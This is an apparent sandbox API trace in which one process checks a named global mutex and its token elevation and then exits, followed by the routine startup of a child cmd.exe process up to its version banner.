	[0131.676] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIU") returned 0x1f0
	[0131.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5872e8 | out: hHeap=0x570000) returned 1
	[0131.676] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0131.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x587758 | out: hHeap=0x570000) returned 1
	[0131.676] GetVersion () returned 0x23f00206
	[0131.676] GetCurrentProcess () returned 0xffffffff
	[0131.676] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0131.676] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0131.676] CloseHandle (hObject=0x1f4) returned 1
	[0131.676] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0131.676] ExitProcess (uExitCode=0x0) 

Thread:
	id = 33
	os_tid = 0xde8


Process:
	id = "8"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x39fce000"
	os_pid = "0xdf8"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 35
	os_tid = 0xdfc

	[0137.320] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7c20e0000
	[0137.320] __set_app_type (_Type=0x1) 
	[0137.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7c20f6d00) returned 0x0
	[0137.321] __getmainargs (in: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210, _DoWildCard=0, _StartInfo=0x7ff7c211921c | out: _Argc=0x7ff7c2119200, _Argv=0x7ff7c2119208, _Env=0x7ff7c2119210) returned 0
	[0137.329] _onexit (_Func=0x7ff7c20f7fd0) returned 0x7ff7c20f7fd0
	[0137.329] _onexit (_Func=0x7ff7c20f7fe0) returned 0x7ff7c20f7fe0
	[0137.329] _onexit (_Func=0x7ff7c20f7ff0) returned 0x7ff7c20f7ff0
	[0137.329] _onexit (_Func=0x7ff7c20f8000) returned 0x7ff7c20f8000
	[0137.329] _onexit (_Func=0x7ff7c20f8010) returned 0x7ff7c20f8010
	[0137.336] _onexit (_Func=0x7ff7c20f8020) returned 0x7ff7c20f8020
	[0137.336] GetCurrentThreadId () returned 0xdfc
	[0137.336] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdfc) returned 0x70
	[0137.336] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb427e0000
	[0137.336] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="SetThreadUILanguage") returned 0x7ffb427fa990
	[0137.336] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0137.368] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0137.368] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xb15814f7e8 | out: phkResult=0xb15814f7e8*=0x0) returned 0x2
	[0137.368] VirtualQuery (in: lpAddress=0xb15814f7d4, lpBuffer=0xb15814f750, dwLength=0x30 | out: lpBuffer=0xb15814f750*(BaseAddress=0xb15814f000, AllocationBase=0xb158050000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0137.368] VirtualQuery (in: lpAddress=0xb158050000, lpBuffer=0xb15814f750, dwLength=0x30 | out: lpBuffer=0xb15814f750*(BaseAddress=0xb158050000, AllocationBase=0xb158050000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0137.368] VirtualQuery (in: lpAddress=0xb158051000, lpBuffer=0xb15814f750, dwLength=0x30 | out: lpBuffer=0xb15814f750*(BaseAddress=0xb158051000, AllocationBase=0xb158050000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0137.368] VirtualQuery (in: lpAddress=0xb158054000, lpBuffer=0xb15814f750, dwLength=0x30 | out: lpBuffer=0xb15814f750*(BaseAddress=0xb158054000, AllocationBase=0xb158050000, AllocationProtect=0x4, __alignment1=0xffffcd89, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0137.368] VirtualQuery (in: lpAddress=0xb158150000, lpBuffer=0xb15814f750, dwLength=0x30 | out: lpBuffer=0xb15814f750*(BaseAddress=0xb158150000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffcd89, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0137.368] GetConsoleOutputCP () returned 0x1b5
	[0137.371] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0137.380] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7c2108150, Add=1) returned 1
	[0137.380] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.380] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc04 | out: lpMode=0x7ff7c211fc04) returned 0
	[0137.380] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.381] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc00 | out: lpMode=0x7ff7c211fc00) returned 0
	[0137.381] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.381] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0137.381] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.381] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7c211fc08 | out: lpMode=0x7ff7c211fc08) returned 0
	[0137.381] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.381] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7c211fc0c | out: lpMode=0x7ff7c211fc0c) returned 0
	[0137.381] GetEnvironmentStringsW () returned 0x28860f15a40*
	[0137.381] GetProcessHeap () returned 0x28860f10000
	[0137.381] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xab6) returned 0x28860f16500
	[0137.381] FreeEnvironmentStringsA (penv="=") returned 1
	[0137.381] GetProcessHeap () returned 0x28860f10000
	[0137.381] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x8) returned 0x28860f15a40
	[0137.381] GetEnvironmentStringsW () returned 0x28860f16fd0*
	[0137.381] GetProcessHeap () returned 0x28860f10000
	[0137.381] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xab6) returned 0x28860f17a90
	[0137.382] FreeEnvironmentStringsA (penv="=") returned 1
	[0137.382] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb15814e698 | out: phkResult=0xb15814e698*=0x7c) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x4, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x1, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x1, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x0, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x40, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x40, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x40, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.382] RegCloseKey (hKey=0x7c) returned 0x0
	[0137.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb15814e698 | out: phkResult=0xb15814e698*=0x7c) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x40, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x1, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x1, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x0, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.382] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x9, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.383] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x4, lpData=0xb15814e6b0*=0x9, lpcbData=0xb15814e694*=0x4) returned 0x0
	[0137.383] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb15814e690, lpData=0xb15814e6b0, lpcbData=0xb15814e694*=0x1000 | out: lpType=0xb15814e690*=0x0, lpData=0xb15814e6b0*=0x9, lpcbData=0xb15814e694*=0x1000) returned 0x2
	[0137.383] RegCloseKey (hKey=0x7c) returned 0x0
	[0137.383] time (in: timer=0x0 | out: timer=0x0) returned 0x5cd74161
	[0137.383] srand (_Seed=0x5cd74161) 
	[0137.383] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0137.383] malloc (_Size=0x4000) returned 0x288612b5530
	[0137.383] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0137.383] malloc (_Size=0xffce) returned 0x288610e0080
	[0137.384] ??_V@YAXPEAX@Z () returned 0x288610e0080
	[0137.384] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x288610e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0137.384] malloc (_Size=0xffce) returned 0x288610f0060
	[0137.385] ??_V@YAXPEAX@Z () returned 0x288610f0060
	[0137.385] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x288610f0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0137.385] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0137.386] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0137.386] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0137.386] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0137.386] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0137.386] GetProcessHeap () returned 0x28860f10000
	[0137.386] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16500) returned 1
	[0137.386] GetEnvironmentStringsW () returned 0x28860f15a60*
	[0137.386] GetProcessHeap () returned 0x28860f10000
	[0137.386] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xace) returned 0x28860f16540
	[0137.386] FreeEnvironmentStringsA (penv="=") returned 1
	[0137.386] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0137.386] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0137.386] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0137.386] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0137.386] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0137.387] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0137.387] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0137.387] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0137.387] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0137.387] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0137.387] malloc (_Size=0xffce) returned 0x28861100040
	[0137.387] ??_V@YAXPEAX@Z () returned 0x28861100040
	[0137.388] GetProcessHeap () returned 0x28860f10000
	[0137.388] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x38) returned 0x28860f18580
	[0137.388] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x28861100040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0137.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x28861100040, lpFilePart=0xb15814f210 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb15814f210*="system32") returned 0x13
	[0137.388] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0137.388] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xb15814ef40 | out: lpFindFileData=0xb15814ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x28860f185c0
	[0137.389] FindClose (in: hFindFile=0x28860f185c0 | out: hFindFile=0x28860f185c0) returned 1
	[0137.389] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xb15814ef40 | out: lpFindFileData=0xb15814ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x9516fab0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9516fab0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x28860f185c0
	[0137.389] FindClose (in: hFindFile=0x28860f185c0 | out: hFindFile=0x28860f185c0) returned 1
	[0137.389] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0137.389] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0137.389] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0137.389] GetProcessHeap () returned 0x28860f10000
	[0137.389] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f16540) returned 1
	[0137.389] GetEnvironmentStringsW () returned 0x28860f15a60*
	[0137.389] GetProcessHeap () returned 0x28860f10000
	[0137.389] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xafe) returned 0x28860f16570
	[0137.389] FreeEnvironmentStringsA (penv="=") returned 1
	[0137.389] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x288610e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0137.389] GetProcessHeap () returned 0x28860f10000
	[0137.389] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18580) returned 1
	[0137.390] ??_V@YAXPEAX@Z () returned 0x1
	[0137.390] ??_V@YAXPEAX@Z () returned 0x1
	[0137.390] GetProcessHeap () returned 0x28860f10000
	[0137.390] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x4016) returned 0x28860f18580
	[0137.390] GetProcessHeap () returned 0x28860f10000
	[0137.390] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18580) returned 1
	[0137.390] GetConsoleOutputCP () returned 0x1b5
	[0137.410] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0137.410] GetUserDefaultLCID () returned 0x409
	[0137.410] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7c211bb78, cchData=8 | out: lpLCData=":") returned 2
	[0137.410] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xb15814f5d0, cchData=128 | out: lpLCData="0") returned 2
	[0137.410] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xb15814f5d0, cchData=128 | out: lpLCData="0") returned 2
	[0137.410] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xb15814f5d0, cchData=128 | out: lpLCData="1") returned 2
	[0137.410] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7c211bb68, cchData=8 | out: lpLCData="/") returned 2
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7c211bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7c211bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7c211ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7c211ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7c211ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7c211b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7c211b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7c211bb58, cchData=8 | out: lpLCData=".") returned 2
	[0137.411] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7c211bb40, cchData=8 | out: lpLCData=",") returned 2
	[0137.411] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0137.413] GetProcessHeap () returned 0x28860f10000
	[0137.413] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x0, Size=0x20c) returned 0x28860f170f0
	[0137.413] GetConsoleTitleW (in: lpConsoleTitle=0x28860f170f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0137.415] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.415] GetFileType (hFile=0x254) returned 0x3
	[0137.424] ApiSetQueryApiSetPresence () returned 0x0
	[0137.427] ResolveDelayLoadedAPI () returned 0x7ffb3787d990
	[0137.440] BrandingFormatString () returned 0x28860f162f0
	[0137.460] GetVersion () returned 0x3ad7000a
	[0137.460] _vsnwprintf (in: _Buffer=0xb15814f730, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xb15814f6c8 | out: _Buffer="10.0.15063") returned 10
	[0137.460] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.460] GetFileType (hFile=0x254) returned 0x3
	[0137.460] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c2127f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0137.461] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c2127f60, nSize=0x2000, Arguments=0xb15814f6d0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0137.461] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xb15814f628, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f628*=0x26, lpOverlapped=0x0) returned 1
	[0137.461] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb15814f6f8 | out: _Buffer="\r\n") returned 2
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] GetFileType (hFile=0x254) returned 0x3
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0137.461] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb15814f6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f6c8*=0x2, lpOverlapped=0x0) returned 1
	[0137.461] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xb15814f6f8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] GetFileType (hFile=0x254) returned 0x3
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0137.461] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xb15814f6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f6c8*=0x34, lpOverlapped=0x0) returned 1
	[0137.461] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb15814f6f8 | out: _Buffer="\r\n") returned 2
	[0137.461] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.461] GetFileType (hFile=0x254) returned 0x3
	[0137.462] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0137.462] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb15814f6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f6c8*=0x2, lpOverlapped=0x0) returned 1
	[0137.462] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffb427e0000
	[0137.462] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="CopyFileExW") returned 0x7ffb427fe830
	[0137.462] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="IsDebuggerPresent") returned 0x7ffb427fe300
	[0137.462] GetProcAddress (hModule=0x7ffb427e0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffb3f6a0a40
